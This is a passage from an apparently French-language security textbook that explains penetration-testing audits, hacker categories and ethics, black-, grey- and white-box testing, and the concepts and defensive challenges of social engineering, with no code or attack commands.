Il s’agit d’une prise de conscience face à l’importance des données que détient une structure
professionnelle. Même si l’entreprise possède un responsable sécurité avec de bonnes
connaissances, il peut être intéressant de faire appel à un spécialiste externe de confiance pour
tester le réseau et le système d’information dans des conditions réelles d’attaque, afin d’en déceler
les forces et les faiblesses à corriger. Dans ce cas, le spécialiste pourra travailler en collaboration avec
le RSSI.
Ces spécialistes sont des hackers professionnels, qui sont accrédités pour réaliser des tests
d’intrusion en prenant connaissance de l’état d’une architecture à un instant T. En tant que
spécialistes de la sécurité informatique, ils connaissent en effet les moyens de déjouer la sécurité
d’un système, de la mettre à l’épreuve.
Restrict
ed
Un professionnel de confiance va pouvoir se mettre dans la peau d’un utilisateur malintentionné (aux
connaissances étendues), en testant le système dans des conditions de malveillance, et s’assurer que
les données sont en sécurité. S’il existe des failles ou des défauts de configuration, alors il aidera à
comprendre lesquels et à corriger le problème.
Derrière ces spécialistes se cachent en réalité des hackers white hats, des consultants en sécurité.
Ces hackers ont un sens de l’éthique et de la déontologie, contrairement aux crackers, qui
démolissent les systèmes. Les tests d’intrusion se font en accord avec les clients et la législation.
C’est une véritable prise de conscience envers ces hackers, que l’on a appris à différencier des
terroristes, des espions ou des créateurs de virus...
Quand on parle de sécurité informatique, on ne peut pas ignorer le monde underground, ces
communautés de hackers où le partage du savoir est la clé.
Le hacker se définit comme un bidouilleur curieux, et son moteur de réussite reste sa passion, qu’il
partage avec les autres membres de la communauté. Les hackers sont généralement autodidactes
depuis de nombreuses années, ils ont accumulé des connaissances techniques élevées, et sont
généralement spécialisés dans un domaine (les failles physiques, le Web, le réseau, etc.).
Passionnés et curieux, ils ne se posent pas de limite pour la connaissance ou pour assouvir leur
curiosité. Les hackers sont capables de détourner un objet ou un logiciel de son fonctionnement
originel.
Mais la communauté des hackers va également au-delà de la connaissance technique. Être un hacker
correspond davantage à un état d’esprit qu’au fait de programmer.
Aussi, les hackers sont généralement des personnes cultivées qui connaissent à la fois l’historique de
leur statut et les grands acteurs du mouvement, qui se tiennent informés de tout ce qui s’apparente
à leur domaine et qui ont soif de connaissance.
Les hackers utilisent leur savoir pour découvrir les choses auxquelles ils ne sont pas censés avoir
accès.
Bien sûr, la définition des hackers selon laquelle il y aurait d’un côté les gentils et de l’autre les
méchants est un peu trop facile et manichéenne, elle est d’ailleurs constamment sujette à des
discordances et des remises en question.
Mais ce qui singularise également les hackers, c’est ce rapport alternatif au travail, et également à
l’argent, au temps, qui se réfère à une éthique complètement différente du rapport capitaliste
habituel que l’on retrouve en société. Le hacker étant un passionné avant tout, il sera capable de
passer des jours et des nuits sur un problème pour le voir résolu, n’hésitant pas à travailler en
coopération. Sa relation au travail mêle plaisir, envie de repousser les limites, découverte, curiosité,
et jeu... Elle fait appel à des instincts qui décuplent les compétences.
Dans ce sens, on peut se référer à de nombreux exemples pour montrer l’efficacité des hackers en
coopération, comme le système d’exploitation Linux pour ne citer que lui, emblème de la production
des hackers du libre. Linux a été développé de manière indépendante, volontaire, dans un contexte
en marge du système capitaliste, et possède aujourd’hui une assise confortable dans le pourcentage
d’utilisation en tant que serveur, et son évolution au sein des foyers ne cesse de croître.
Restrict
ed
Cette originalité dans l’éthique du travail était jusqu’alors fortement controversée, par rapport aux
tenants de l’approche économique standard. Cependant, force est de constater que cette auto-
organisation, dont la structure s’apparente pleinement à un réseau fortement horizontal, est source
de réussite. Le travail du hacker se fait de manière directement coopérative et volontaire, en
participant à différents petits groupes très autonomes.
Il devient alors un spécialiste expert dans son domaine, très recherché, ayant accumulé plus de
connaissances et d’expérience dans la sécurité que tout autre profil, et devenant de ce fait l’allié de
nombre d’entreprises qui décident de se prémunir des risques qui les menacent.
Le but d’un audit de sécurité est de se mettre dans la peau de l’attaquant. Apprendre l’attaque pour
mieux se défendre, voilà ce qu’il faut garder en tête pour assurer sa sécurité.
Pour comprendre l’attaquant et apprendre sa façon de faire, il faut tout d’abord réussir à prendre un
certain recul sur son système. Le but est de le tester en conditions réelles pour en déceler les forces
et les faiblesses.
L’équipe est-elle fiable ? Les mots de passe sont-ils robustes ? Ne sont-ils pas accessibles à tout un
chacun ? Les serveurs sont-ils sécurisés, corrigés en cas de problème ? Les fichiers de journalisation
sont-ils consultés régulièrement ? Des outils détectent-ils une trace suspecte sur les serveurs ?
Que ce soit dans le but de nuire, d’espionner, de voler des informations ou pour toute autre raison,
l’attaquant essaiera de multiplier ses tentatives d’intrusion en recherchant une vulnérabilité, qu’elle
soit physique, logicielle, matérielle, ou humaine.
L’intégrité des données : il faut garantir à chaque instant que les données qui circulent sont
bien celles que l’on croit, qu’il n’y a pas eu d’altération (volontaire ou non) au cours de la
communication.
La confidentialité : seules les personnes habilitées doivent accéder aux données et personne
d’autre. Toute interception ne doit pas être en mesure d’aboutir, les données doivent être
cryptées, seuls les acteurs de la transaction possèdent la clé de compréhension.
La non-répudiation des données : une transaction ne peut être niée par aucun des
correspondants.
L’authentification : elle limite l’accès aux personnes autorisées. Il faut s’assurer de l’identité
d’un utilisateur avant l’échange de données.
La sécurité d’un système entier sera celle de son maillon le plus faible. Ainsi, si tout un système est
sécurisé techniquement mais que le facteur humain, souvent mis en cause, est défaillant, c’est toute
la sécurité du système qui est remise en question.
Le spécialiste qui audite le système d’information va réaliser plusieurs opérations. Tout d’abord, il va
faire le tour du réseau et des différents équipements pour déceler les éventuels problèmes. Ce test
peut s’effectuer, nous le verrons, soit en conditions réelles (boîte noire, aucune information n’est
Restrict
ed
connue, aucun accès n’est fourni au hacker), soit en conditions de transparence, où toutes les
informations sont alors fournies au hacker.
De plus, il peut être conseillé de prévenir le moins de monde possible dans l’entreprise lors des
audits de sécurité afin de ne pas fausser le contexte. Rappelons que dans la réalité, la majorité des
intrusions système ont lieu le week-end.
Le hacker vérifiera ainsi que les données ne sont accessibles que par les personnes
accréditées, qu’elles sont en sécurité et disponibles à n’importe quel moment.
Si le hacker décèle un problème dans le système, il se doit d’en avertir le responsable, de proposer
une solution pour y remédier, et d’offrir un accompagnement dans la mise en place d’une procédure
de sécurité.
D’un autre côté, il peut tester l’équipe, pour vérifier que celle-ci ne distribue pas des informations
confidentielles, même sans le savoir. En effet, l’accumulation de grains de sable sur un organisme
peut vite devenir une jolie niche d’informations qui, une fois recoupées, suffiront à réussir l’attaque
du réseau.
Il pourra également aider dans la mise en place de bonnes pratiques, notamment dans la politique de
gestion des mots de passe ou dans la formation de l’équipe en termes de sécurisation du poste
informatique.
Restrict
ed
Connaître son ennemi pour s’en défendre
1. À chaque attaquant son chapeau
Les hackers black hats, un peu à l’image des méchants des westerns, désignent généralement dans le
domaine informatique les hackers révoltés contre le système, qui frôlent les limites de la légalité, ou
les dépassent carrément.
Ils pénètrent par effraction dans les systèmes, dans un intérêt qui n’est pas celui des propriétaires du
réseau ou du système, mais plutôt personnel, voire financier.
Parmi ces hackers, il y a les crackers, qui ont une nette attirance pour ce côté obscur. Ils sont par
exemple à l’origine de virus, de chevaux de Troie ou de logiciels espions.
Lorsque cela est fait dans le but de nuire à une organisation ou à des individus, on parle aussi de
terrorisme ou de cyberterrorisme.
Il arrive également que les compétences des hackers black hats intéressent fortement les grandes
entreprises, qui finissent par les débaucher pour travailler en collaboration avec eux.
Cependant, la communauté des black hats est assez large et possède des convictions, des opinions et
des connaissances bien différentes. Le terme de "black hat" ne veut pas dire sans éthique ni morale.
Généralement, les techniques sont les mêmes que celles des white hats, seule la fin peut être
différente.
Le terme "black hat" est aussi un terme employé dans de grands rassemblements mondiaux de
hackers, comme celui de Las Vegas.
Le hacker au chapeau gris est un peu un hybride du chapeau blanc et du chapeau noir.
Il s’agit d’un hacker compétent, qui agit parfois avec l’esprit d’un white hat mais avec une
philosophie de divulgation différente.
Son intention n’est pas forcément mauvaise même s’il commet cependant occasionnellement un
délit.
Par curiosité, il tentera par exemple de s’infiltrer dans un système. Une fois la faille trouvée, il
n’endommagera pas le système, et préviendra généralement le propriétaire. Cependant, ceci reste
illégal dans la plupart des pays car il est interdit de pénétrer dans un réseau privé qui n’est pas le sien
sans l’approbation du propriétaire.
Beaucoup de hackers qui se disent white hats s’apparentent en réalité plus à des grey hats, dans le
sens où ils divulguent des failles aussitôt qu’elles ont été découvertes, sans prévenir ou laisser le
temps nécessaire au responsable pour corriger le problème, ce qui peut nuire gravement au système
ciblé indirectement.
Restrict
ed
c. Les hackers white hats
Techniquement, l’action menée par les hackers white hats est très semblable à celle des black hats.
Cependant, elle s’en différencie par le but ou la fin.
En effet, les white hackers ont plutôt comme ambition d’aider à la sécurisation du système, sans en
tirer profit de manière illicite. Ils bidouillent les systèmes d’information pour découvrir les
vulnérabilités pas encore connues ou non publiées, les "0 day" (zero day, zéro jour). La technique
employée est la même que celle utilisée par un hacker au chapeau noir.
La différence se fait par contre lors de la découverte de cette vulnérabilité. La question qui se pose
alors est de savoir s’il faut rendre une vulnérabilité publique ou non. Les hackers au chapeau blanc
prônent la divulgation totale de la découverte, ce que l’on appelle en anglais la full disclosure, là où
les hackers au chapeau noir préfèrent restreindre l’accès à cette information et ne pas la divulguer.
Un hacker white hat va donc généralement rendre publiques les vulnérabilités, et parfois même
les exploits, qui sont les bouts de code permettant de tester la vulnérabilité d’un système à cette
faille. Cela se fait sur des outils en ligne spécialisés comme des listes de diffusion ou des outils de
gestion de bug (bugtracking).
Le problème qui en résulte est que ces codes sont rendus publics et disponibles pour quiconque, y
compris les script kiddies, que nous verrons ensuite.
Cependant, un white hat met également au courant les auteurs des vulnérabilités qui les touchent
(dans le cas où ils n’ont pas été embauchés pour une mission d’audit qui explique leurs actions).
Même si les white hats disent agir dans la légalité et pour la bonne cause, en réalité, depuis que la loi
sur l’économie numérique (la LCEN) a été votée en France, seule l’intention reste réellement bonne.
Ces hackers sont considérés hors la loi de la même manière que les black hats, puisque le fait de
divulguer des vulnérabilités et des exploits sur Internet est devenu répréhensible. Cette loi contredit
ainsi de plein fouet l’éthique hacker et le principe du logiciel libre.
Dans le problème lié à la publication des vulnérabilités découvertes sur Internet, on trouve l’un des
éléments clés de la discorde, les script kiddies.
Ces individus récupèrent les exploits laissés par les white hats sur les outils publics et les exécutent
sur des machines, sans aucune connaissance, dans le but de provoquer des pannes volontaires,
des mass-root.
Le darknet leur permet, moyennant quelques euros, de trouver des malwares prêts à l’emploi et
pour lesquels il est même parfois proposé un service après-vente !
Généralement, un script kiddie est un adolescent pénétrant par effraction dans un système après
avoir relevé dans des livres ou sur Internet (darknet) quelques documentations de base sur le sujet
de la sécurité informatique. Le script kiddie n’a aucune notion de l’éthique d’un hacker, il réalise cela
par vantardise auprès de ses amis, il n’est pas rare par exemple qu’il cherche à savoir comment
pirater un compte de messagerie instantanée.
Le script kiddie n’a pas de réelles connaissances, il ne fait que réutiliser des codes ou des
programmes prêts à l’emploi, il brasse et réutilise sans comprendre les enjeux ou les risques.
Restrict
ed
Cependant, les script kiddies sont craints puisque, malgré leur faible niveau, le fait qu’ils utilisent le
code des autres représente parfois une menace réelle pour un système, surtout qu’ils sont nombreux
et peu soucieux des dégâts qu’ils occasionnent. Ils sont cependant trop souvent confondus avec les
vrais hackers.
Ils sont d’ailleurs complètement rejetés des communautés underground, où ils sont pris pour
des lammers, c’est-à-dire des personnes dénuées de compétences.
Ce sont des hackers libres, que l’on associe au mouvement open source du logiciel libre, comme
Richard Matthew Stallman, le fondateur du projet GNU. Ce terme est apparu au MIT, le
Massachusetts Institute of Technology.
Le hacker est alors défini comme quelqu’un qui partage sa connaissance avec autrui, sur le
fonctionnement d’un système, des ordinateurs et des réseaux. Ces hackers prônent l’idée selon
laquelle l’information est libre et n’appartient à personne. Ainsi toute nouvelle connaissance doit
être partagée avec tout le monde.
Ces hackers forment une grande communauté qui partage la même culture et qui compte des
programmeurs aux compétences aiguisées, des spécialistes des réseaux et des technologies. Les
hackers travaillent ensemble et ainsi sont à l’origine de grandes œuvres, comme Internet, ou encore
Usenet, ou le système d’exploitation Unix.
En 1984, Steven Levy a défini l’éthique hacker selon les principes suivants :
L’accès aux ordinateurs devrait être total, illimité, possible pour tout le monde.
Les hackers devraient être jugés sur le hacking, non pas sur des hiérarchies sociales telles que
le diplôme, l’âge ou le grade.
Lors d’un test d’intrusion où une entreprise fait appel à un spécialiste pour auditer son système, il y a
plusieurs façons de procéder. Soit l’auditeur n’a accès à aucune information, soit on lui fournit
quelques informations, soit il a en sa possession toutes les informations qu’il souhaite. Ces tests sont
plus ou moins longs, plus ou moins complets et plus ou moins onéreux. L’idéal étant bien sûr de
réaliser ces trois types de tests en complémentarité afin de réaliser un audit complet.
La méthode la plus réaliste, car c’est celle qui correspond à une situation réelle, est le test en black
box, un test en boîte noire. Dans ce cas, le hacker qui vient auditer le système n’a aucune
information. Il va agir comme le ferait un attaquant, en testant tour à tour les différentes portes à la
recherche d’une vulnérabilité à exploiter.
Restrict
ed
Il peut être dirigé vers quelques vulnérabilités probables à tester de manière plus approfondie, mais
ne sera pas plus informé qu’un hacker externe.
Ces tests "à l’aveugle" ont pour principaux avantages d’être réalistes, moins onéreux, et plus rapides.
Cependant, ils sont également moins exhaustifs et ne testent pas la qualité de la configuration du
système (les services sont-ils optimisés ? À jour ? Limités ?). En effet, un système peut être non
optimisé sans être vulnérable à un instant T ; une mauvaise configuration peut cependant conduire à
des problèmes ultérieurs.
Le test en boîte noire peut être exécuté depuis l’extérieur ou depuis l’intérieur, c’est-à-dire dans les
locaux. Généralement, la sécurité n’est dans ce cas pas la même, les droits et autorisations sont
moins restreints mais peuvent constituer des portes d’entrée supplémentaires. Le système pourrait
donc être étanche à l’extérieur mais vulnérable de l’intérieur : un visiteur malveillant dans vos locaux
pourrait s’introduire dans votre système avec quelques ficelles bien connues de social engineering.
Lors d’un audit en grey box, le consultant ne possède qu’une quantité limitée d’informations. Cela va
ouvrir d’autres portes sans pour autant donner toutes les informations. Cet audit permettra d’aller
un peu plus loin dans le test, de parcourir d’autres domaines...
Par exemple, lors de l’audit d’un site interne ou d’un intranet, le test en black box serait un accès au
site sans aucune information, comme lors d’une attaque en situation réelle. L’auditeur devrait
d’abord trouver un couple identifiant/mot de passe pour pouvoir s’infiltrer dans le système. En grey
box, on peut lui fournir ce couple d’identifiants, voire lui donner l’identifiant de l’administrateur, afin
qu’il puisse aller encore plus loin.
Le test en white box (en boîte blanche) sera le plus long, le plus approfondi, mais également le plus
onéreux. En effet, ici l’accès au système sera complètement ouvert au spécialiste venu faire l’audit.
De ce fait, il est de son devoir de tester chaque service, de vérifier sa configuration, ses vulnérabilités
éventuelles, et de faire un tour complet pour en assurer l’étanchéité.
Le but ici est donc d’évaluer les risques en toute connaissance du système, et également de vérifier
qu’il sera apte à redémarrer sans perte d’informations si une attaque a tout de même lieu, en
vérifiant par exemple le système de sauvegarde de données.
Dans le cadre d’un site internet, il aura accès au code source et devra vérifier que celui-ci ne présente
pas de risques pour le système.
Conclusion
Les métiers de la sécurité des systèmes d’information sont nombreux, variés et passionnants. Ils sont
de plus plébiscités aujourd’hui par les entreprises et institutions diverses.
On estime que 3,5 millions de postes d’experts cyber devraient rester vacants en 2021, la formation
d’experts en sécurité informatique est une véritable nécessité et la France n’y échappe pas.
Les universités françaises ont pris conscience de ce besoin et ont commencé à développer des
formations en cyber. Les précurseurs ont été les acteurs de la licence professionnelle CDAISI mise en
place à l’IUT de Valenciennes sur l’antenne de Maubeuge en 2008.
L’État français n’est pas en reste et a mis en place dès juillet 2009 l’ANSSI ( https://www.ssi.gouv.fr/),
qui est l’Agence nationale de la sécurité des systèmes d’information.
Restrict
ed
C’est un service d’État directement rattaché au Secrétariat général de la Défense et de la Sécurité
nationale (SGDSN).
Elle a mis en place un label SecNumedu pour les organismes de formation dont les programmes
doivent répondre à certains critères.
https://www.ssi.gouv.fr/particulier/formations/secnumedu/formations-labellisees-secnumedu/
Restrict
ed
Eléments d’ingénierie sociale
Généralités
1. Introduction
Dans son sens le plus large, l’ingénierie sociale est l’art et la manière d’influencer les êtres humains,
individuellement ou en groupe. Le sens restreint dans lequel nous l’utiliserons ici, c’est-à-dire
appliqué à la sécurité des systèmes d’information, est d’usage récent. Cette traduction très littérale
de "social engineering" est venue s’accoler à d’autres utilisations du mot, notamment en
psychologie, en science politique ou en sciences sociales.
Il aurait aussi été possible d’utiliser le mot "génie" pour traduire "engineering" et donc d’appeler ce
chapitre "Éléments de génie social". Ne parle-t-on pas toujours de génie militaire, civil, logiciel ou
électrique ?
Pour autant, l’expression "génie social" n’aurait sans doute pas été plus heureuse. Effectivement, si
le génie est bien l’art de l’ingénieur, sa seconde acception de don intellectuel exceptionnel lui donne
malheureusement des connotations inappropriées dans le cadre de ce chapitre.
En effet, pour des raisons qui devraient vite paraître claires, les ingénieurs sociaux ont tout intérêt à
laisser croire que leur "art" repose uniquement sur le talent, le charisme, ou toutes sortes de dons
innés. Cela peut permettre, entre autres, de rendre les parades plus difficiles, de limiter la
concurrence ou se donner une image de génie.
Or, il est essentiel d’éviter tout malentendu sur ce point : l’ingénierie sociale, comme la plupart des
compétences humaines, peut se comprendre, se modéliser, s’apprendre.
Le génie de l’ingénieur social n’est donc pas uniquement une aptitude naturelle. C’est avant tout un
corpus de modèles, de techniques et d’outils, basés sur des études rigoureuses, des données
scientifiques et des théories valides.
Quoi qu’il en soit, le contenu de la matière reste encore assez ambigu pour les non avertis. Par
ailleurs, la déplorable habitude du siècle à l’usage approximatif du vocabulaire, alliée à la tendance à
considérer tout problème de SI (système d’information) sous l’angle des outils logiciels, a fortement
contribué à rendre le terme encore plus flou, improprement utilisé, et facilement sujet à la
mystification quant à son véritable contenu.
De ce fait, il n’existe pas actuellement de référence reconnue sur le sujet, ni même de définition
claire du périmètre exact de l’ingénierie sociale. Ce qu’un cours d’ingénierie sociale doit contenir est
encore largement laissé à la liberté de son rédacteur, souvent en fonction de ses propres croyances,
intérêts, expériences et compétences.
Il semble donc nécessaire de préciser les choix qui ont été faits ici, ce que vous trouverez et ce que
vous ne trouverez pas dans ce chapitre.
Il ne nous semble pas nécessaire par exemple de multiplier les descriptions de cas déjà connus
d’exploitation par ingénierie sociale inscrits dans un contexte technique. Ce qui se passe
techniquement une fois que l’on a obtenu le comportement désiré (clic sur un lien, fuite
d’information, infection d’un système...) par la cible humaine n’est plus, dans l’absolu, du domaine
de l’ingénierie sociale.
Restrict
ed
L’objet de ce chapitre sera essentiellement d’aborder les principes, les fondements, les modes
opératoires et les techniques communes aux attaques sur les cibles humaines, ainsi que les bases des
défenses individuelles et collectives contre l’ingénierie sociale.
Pour cela, il apparaît utile, dans un premier temps, de donner des définitions et de préciser certaines
notions théoriques et pratiques, afin de disposer d’un vocabulaire univoque et de bases communes
pour parler des aspects humains de la sécurité des systèmes d’information.
Ces connaissances sont essentiellement issues de l’état de l’art en matière de psychologie sociale.
Elles sont donc indépendantes des vecteurs techniques et par conséquent ont l’avantage d’être
beaucoup plus durables. De plus, leur périmètre d’emploi dépasse largement la sécurité des
systèmes d’information et il sera facile de leur trouver de nombreuses applications dans la vie de
tous les jours.
Enfin, rappelons que nous nous plaçons souvent dans la position d’attaquant dans le cadre
d’intrusions, sans systématiquement renouveler les mises en garde concernant les aspects éthiques,
moraux ou légaux des actions menées. Les méthodes et techniques présentées ici le sont dans un but
essentiellement pédagogique. Il est en effet bien évidemment essentiel pour qui veut défendre un
système de connaître parfaitement les modes d’action de l’ennemi. Nous le verrons, les
compétences de l’ingénieur social concernent donc autant l’attaque que la défense.
2. Systèmes d’information
Pour aborder l’ingénierie sociale, il nous semble tout d’abord nécessaire de préciser clairement la
notion de système d’information et de la différencier explicitement de la notion de système
informatique.
De nos jours, la quasi-totalité de ces informations transite dans des systèmes complexes et de grande
taille, largement outillés par des systèmes informatiques. Ayant la malchance de partager le même
acronyme "SI", systèmes d’information et systèmes informatiques ont toujours la fâcheuse tendance
à être utilisés comme synonymes.
Il est essentiel ici de rappeler une fois de plus le danger de cette approche.
Restrict
ed
Vu sous cet angle panoramique, on imagine à quel point il est difficile d’appréhender les systèmes
d’information modernes dans leur globalité, d’en contrôler l’ensemble des entrées et sorties, de
sécuriser les interstices entre sous-systèmes, et de délimiter les périmètres de responsabilités.
Or, les données traitées par un SI sont par définition celles ayant une importance
significative (stratégique, opérationnelle, fonctionnelle). Il n’est donc pas nécessaire de rappeler leur
éventuelle valeur, voire même parfois leur aspect vital pour l’organisation. Toutefois, il sera bon de
garder en permanence à l’esprit qu’un grand nombre d’informations a priori non significatives
gravitant autour du SI pourront souvent donner des indications sur l’état d’un système, et donc
fournir des moyens d’action et des "effets levier" chers à l’ingénieur social.
Même s’il n’existe pas encore de vocabulaire universellement accepté en la matière, nous classerons
ici, de manière macroscopique, les failles d’un système d’information en quatre grands types :
Les failles techniques ou informatiques, largement déclinées dans les autres chapitres de cet
ouvrage.
Les failles que nous appellerons structurelles (pour ne pas faire la confusion avec les failles
physiques informatiques), qui sont des failles de sécurité classiques procurant des accès
physiques aux locaux ou aux supports contenant l’information.
Pour l’ingénierie sociale, ce sera donc le système d’information dans son ensemble qui sera la cible à
attaquer ou à protéger en accordant une attention plus particulière aux aspects non techniques.
Bien sûr, l’expérience montre que les attaques se limitent rarement à un seul type de failles.
L’ingénieur social devra donc posséder un minimum de connaissances dans chaque domaine de
vulnérabilités des SI. En effet, c’est souvent une exploitation combinée de différents types de failles
qui s’avérera la plus efficace.
a. Définitions
Concrètement, et pour clarifier les choses, nous définirons l’ingénierie sociale comme une
méthodologie d’investigation, d’influence et d’actions clandestines ayant pour objectif de
compromettre un système d’information en exploitant principalement ses failles humaines. L’attaque
par ingénierie sociale consiste donc essentiellement à provoquer chez une cible un comportement
précis et prévu comme, par exemple, donner une information, effectuer une opération sensible dans
le SI ou suivre un lien hypertexte.
Or, nous l’avons vu, le mot "ingénierie" n’est pas neutre. L’art de l’ingénieur consiste, en s’appuyant
sur des méthodes et des théories scientifiques, à utiliser des modèles prédictifs ainsi que des
techniques et des outils éprouvés afin d’obtenir des résultats concrets et mesurables dans le monde
réel, tout en prenant en compte l’ensemble des contraintes et des facteurs significatifs.
C’est sans doute en cela que l’ingénierie sociale se distingue des simples compétences sociales
(social skills). Et même s’il en partage de nombreuses caractéristiques, l’ingénieur social est plus
qu’un simple arnaqueur (con artist).
Restrict
ed
Ce sont les aspects à la fois rigoureux et pragmatiques des méthodologies de l’ingénierie qui
permettent de faire cette distinction.
Ses contraintes seront du même ordre que celles de l’ingénieur, avec toutefois des délais souvent
plus courts et des ressources plus faibles.
En revanche, il semble clair que les ingénieurs sociaux se sentent rarement contraints par des aspects
moraux, éthiques ou légaux de leurs actions. Toutefois, il reste toujours indispensable de les
analyser, au minimum, en termes de risques et de retour sur investissement.
b. Caractéristiques et périmètre
Comme dans le cadre d’un piratage technique, l’ingénierie sociale a pour objectif d’obtenir des
avantages matériels, économiques, opérationnels, concurrentiels ou stratégiques, par l’acquisition au
travers de moyens adaptés d’informations de valeur, de biens immatériels, de renseignements
secrets et de ressources privatives ou protégées.
En cela, elle possède de nombreux points communs avec d’autres activités telles que l’investigation
journalistique, l’intelligence économique, le renseignement militaire ou l’espionnage industriel.
Une des principales caractéristiques de la méthode par rapport au hacking plus technique est qu’elle
a plus tendance à considérer le système d’information dans son ensemble et dans son
environnement. Toutes les entrées/sorties du système, tous les interstices entre les sous-systèmes,
toutes les failles organisationnelles seront systématiquement explorés par l’ingénieur social.
Nous le verrons, souvent le maillon faible se trouve au niveau des entrées/sorties humaines, ce qui
en fait des cibles privilégiées. Toutes les informations environnantes (post-it, poubelle, réseaux
sociaux...) autour du système, notamment celles concernant les facteurs organisationnels et humains
font donc aussi partie du périmètre d’étude de l’ingénieur social.
L’ingénieur social va donc s’intéresser particulièrement aux interfaces humaines, parmi lesquelles on
peut citer le téléphone, les e-mails, les courriers, les visites commerciales, les entretiens d’embauche,
l’exploration des poubelles, les guichets d’accueil, les colloques, les salons de discussion, les réseaux
sociaux...
Dans toute opération, tout projet, toute mission, les risques liés à l’action doivent être identifiés,
évalués, gérés et minimisés. C’est encore plus vrai dans le cas de l’ingénierie sociale dont le cadre
d’action se situe sur des frontières floues du point de vue de la légalité, ce qui induit des risques plus
importants.
Restrict
ed
de la structure attaquée, de la vulnérabilité des cibles humaines, du talent de l’attaquant et des
protections éventuelles dont il disposera. Ces facteurs seront très variables et les probabilités seront
donc difficilement chiffrables.
La prédominance de l’aspect humain a donc pour conséquence immédiate une grande incertitude.
Même si les sciences humaines en général, et la psychologie sociale en particulier, fournissent des
modèles de plus en plus précis, elles ne seront jamais des sciences exactes. Elles n’analysent et ne
prédisent les comportements qu’en termes de probabilités. Il est souvent possible d’optimiser ses
chances en se plaçant dans des conditions favorables. Mais les aléas de l’environnement d’une part
et la complexité du cerveau humain d’autre part en font un système trop complexe pour espérer
maîtriser complètement le risque.
Ressources réduites
Les profits non garantis impliqueront en premier lieu un faible investissement initial en ressources
structurelles, humaines, techniques et financières pour le pirate. Et réciproquement, les
organisations capables de mettre en œuvre des ressources importantes (États, multinationales, ONG,
chaînes TV nationales, etc.) n’auront la plupart du temps tout simplement ni besoin ni intérêt à avoir
recours à l’ingénierie sociale. On peut dans ce sens considérer que l’ingénierie sociale serait un mode
opératoire de "pauvres". En tout cas, il s’agira généralement d’une stratégie du faible au fort.
L’ingénieur social agissant le plus souvent seul ou en équipe de très petite taille
(ressources humaines réduites) devra donc essentiellement s’appuyer sur des
méthodes performantes et des compétences diversifiées.
Le temps dont dispose l’ingénieur social est aussi une ressource comptée. Sauf dans le cas très
particulier et rare d’opérations planifiées sur du long terme, l’attaque d’ingénierie sociale devra se
traduire par des résultats rapides au moins en termes d’objectifs intermédiaires et d’informations
utilisables.
Le choix des méthodes d’influence utilisées sera donc, là aussi, la conséquence directe de ces
contraintes imposées par l’aspect aléatoire du cadre opérationnel et d’une volonté constante de la
part de l’ingénieur social de limiter ou atténuer les risques.
Cela le conduira à exclure d’emblée des actions physiques telles que la violence, la coercition ou
l’effraction. De même, pour plusieurs raisons déjà évoquées, la corruption et la rétribution sont la
plupart du temps hors du périmètre de l’ingénierie sociale (dans le sens que nous avons retenu).
Par conséquent, l’ingénieur social privilégiera la méthode douce avec des techniques d’influence,
certes souvent à la marge de la légalité, mais relativement subtiles, discrètes et ayant l’impact le plus
faible possible sur l’environnement.
Ainsi, même si son action peut s’égarer sur les routes de la séduction ou de l’intimidation, elles ont
toutes les deux la fâcheuse tendance à laisser des traces. C’est donc la manipulation efficace,
élégante, durable et discrète qui aura la préférence de l’ingénieur social. Les caractéristiques, les
Restrict
ed
ressorts et les techniques de la manipulation, au sens de la psychologie sociale, seront donc un sujet
d’étude essentiel.
Situations évolutives
Enfin, l’intrusion par ingénierie sociale se caractérise aussi par des situations constamment
évolutives. L’opportunisme a alors souvent autant d’importance que la planification.
Cela favorise des modes d’action agiles afin d’être en mesure de réévaluer en temps réel risques,
objectifs, bénéfices, contraintes, stratégie et modes opératoires.
Cette nécessité constante d’improviser et de faire évoluer ses méthodes en cours d’action fait donc
de l’ingénieur social expérimenté quelqu’un de particulièrement apte à monter des opérations dans
l’urgence, notamment afin de saisir des opportunités inattendues.
Cette capacité de prise de décision rapide sur le vif afin de maîtriser un environnement complexe et
changeant, avec de fortes contraintes et peu de moyens, est sans doute l’une des marques de
fabrique de l’ingénieur social.
4. Problématique de la protection
Un des problèmes bien connus de la défense des systèmes d’information en général, et contre
l’ingénierie sociale en particulier, est qu’elle est apparemment difficile, coûteuse, contraignante et
improductive.
Par ailleurs, les sociétés dont c’est le métier de vendre des produits et des services de sécurité
informatique n’ont strictement aucun intérêt à s’occuper des problèmes liés à l’ingénierie sociale,
nécessitant la mise en œuvre de solutions à dominante organisationnelle et humaine. De ce fait, et
malgré une multiplication des attaques par ingénierie sociale ces dernières années, nous constatons
que le marché de la SSI (sécurité des systèmes d’information) est toujours dominé par des solutions
techniques ne prenant absolument pas en compte les aspects humains.
Or, la nécessité de mettre en œuvre des défenses adaptées au moindre coût et sans nuire aux
capacités de l’entreprise paraît évidente. Malheureusement, faute de volonté, de savoir-faire et de
méthode, ces défenses sont encore, trop souvent, inexistantes ou inefficaces.
Si l’être humain est hautement influençable et de ce fait souvent considéré comme le maillon faible
de la SSI, c’est qu’en effet les techniques d’influence et de manipulation que nous présenterons
possèdent des taux de réussite élevés. Mais il est important de préciser qu’elles dépendent
essentiellement de la situation sociale et finalement assez peu des facteurs individuels. Il faut donc
être convaincu qu’absolument tous les êtres humains sont faillibles dès lors qu’ils sont placés dans
des conditions favorables et que les bons leviers sont activés. C’est aussi vrai pour la personne que
vous venez d’exclure mentalement, c’est-à-dire vous. Soyez convaincu que toute autre croyance peut
s’avérer risquée.
Aussi, il nous faudra dès lors bannir les propos condescendants sur la bêtise humaine et toute autre
stigmatisation des personnes ayant été victimes d’une attaque d’ingénierie sociale. Car, en plus de
témoigner d’une capacité d’empathie très faible, ces propos traduisent toujours une grande
méconnaissance des facteurs sous-jacents de l’exploitation et la protection des failles humaines.
Nous verrons également pourquoi ils sont contre-productifs.
De même, la croyance populaire chez certains acteurs SSI (on trouve cela écrit sur
diverses présentations sur l’ingénierie sociale disponibles en ligne) selon laquelle les failles humaines
Restrict
ed
ne peuvent pas être "patchées" (mises à jour) est, elle aussi, à la fois fausse et contre-productive. Un
patch est la rustine numérique qui permet de corriger une faille, par exemple. Les failles humaines
trouvent leurs raisons d’être dans nos caractéristiques biologiques et sont le pendant d’autres atouts
du cerveau. Nous verrons qu’il existe des moyens de les réduire.
Un autre point clé est que, par ailleurs, les failles humaines sont souvent exploitables grâce à des
failles organisationnelles. Les erreurs se trouvent donc souvent au niveau de ceux qui fustigent la
faiblesse des autres et les réponses se situent souvent essentiellement au niveau managérial.
Enfin, enfonçons une dernière porte ouverte en rappelant, et nous y reviendrons, que l’être humain
